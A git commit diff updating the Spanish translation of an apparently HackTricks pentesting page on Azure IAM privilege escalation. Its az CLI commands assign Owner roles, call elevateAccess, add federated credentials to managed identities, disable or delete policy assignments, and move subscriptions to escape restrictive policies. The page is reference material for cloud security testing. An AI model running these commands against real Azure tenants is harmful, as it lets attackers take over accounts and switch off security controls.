Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:46:51 +00:00
parent 5fb81e9aa5
commit 95b414534c
@@ -1,10 +1,10 @@
# Az - Azure IAM Privesc (Authorization)
# Az - Azure IAM Privesc (Autorización)
{{#include ../../../banners/hacktricks-training.md}}
## Azure IAM
Para más información, consulta:
Para más información consulta:
{{#ref}}
../az-services/az-azuread.md
@@ -12,14 +12,14 @@ Para más información, consulta:
### Microsoft.Authorization/roleAssignments/write
Este permiso permite asignar roles a principales sobre un alcance específico, lo que permite a un atacante escalar privilegios al asignarse un rol más privilegiado:
Este permiso permite asignar roles a principals sobre un scope específico, lo que permite a un atacante escalar privilegios asignándose a sí mismo un rol más privilegiado:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Este permiso permite modificar los permisos otorgados por un rol, lo que permite a un atacante escalar privilegios al otorgar más permisos a un rol que ha asignado.
Este permiso permite modificar los permisos otorgados por un role, permitiendo a un atacante escalar privilegios al conceder más permisos a un role que él mismo ha asignado.
Crea el archivo `role.json` con el siguiente **contenido**:
```json
@@ -42,10 +42,10 @@ az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre los recursos de Azure. Está destinado a ser otorgado a los Administradores Globales de Entra ID para que también puedan gestionar permisos sobre los recursos de Azure.
Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre recursos de Azure. Está pensado para otorgarse a Entra ID Global Administrators para que también puedan gestionar permisos sobre recursos de Azure.
> [!TIP]
> Creo que el usuario necesita ser Administrador Global en Entra ID para que la llamada de elevación funcione.
> Creo que el usuario necesita ser Global Administrator en Entra ID para que la llamada elevate funcione.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Este permiso permite agregar credenciales federadas a identidades administradas. Por ejemplo, otorgar acceso a Github Actions en un repositorio a una identidad administrada. Luego, permite **acceder a cualquier identidad administrada definida por el usuario**.
Este permiso permite añadir Federated credentials a managed identities. Por ejemplo, dar acceso a Github Actions en un repo a una managed identity. Además, permite **acceder a cualquier managed identity definida por el usuario**.
Ejemplo de comando para otorgar acceso a un repositorio en Github a una identidad administrada:
Comando de ejemplo para dar acceso a un repo en Github a una managed identity:
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Un atacante con el permiso `Microsoft.Authorization/policyAssignments/write` o `Microsoft.Authorization/policyAssignments/delete` sobre un management group, subscription, o resource group puede **modificar o eliminar asignaciones de políticas de Azure**, potencialmente **deshabilitando restricciones de seguridad** que bloquean operaciones específicas.
Esto permite el acceso a recursos o funcionalidades que previamente estaban protegidos por la política.
**Eliminar una asignación de política:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Deshabilitar una asignación de directiva:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Verifica los cambios:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
Un atacante con el permiso `Microsoft.Authorization/policyDefinitions/write` puede **modificar Azure policy definitions**, cambiando las reglas que controlan las restricciones de seguridad en todo el entorno.
Por ejemplo, una policy que limita las regiones permitidas para crear recursos puede modificarse para permitir cualquier región, o el efecto de la policy puede cambiarse para hacerla inefectiva.
**Modificar una policy definition:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Verifica los cambios:**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Un atacante con el permiso `Microsoft.Management/managementGroups/write` puede **modificar la estructura jerárquica de management groups** o **crear nuevos management groups**, potencialmente eludiendo políticas restrictivas aplicadas en niveles superiores.
Por ejemplo, un atacante puede crear un nuevo management group sin políticas restrictivas y luego mover subscriptions a este.
**Crear un nuevo management group:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Modificar la jerarquía de grupos de administración:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Verifica los cambios:**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
Un atacante con el permiso `Microsoft.Management/managementGroups/subscriptions/write` puede **mover suscripciones entre grupos de administración**, potencialmente **eludir políticas restrictivas** moviendo una suscripción a un grupo con políticas menos restrictivas o sin políticas.
**Mover una suscripción a un grupo de administración diferente:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Verificar los cambios:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}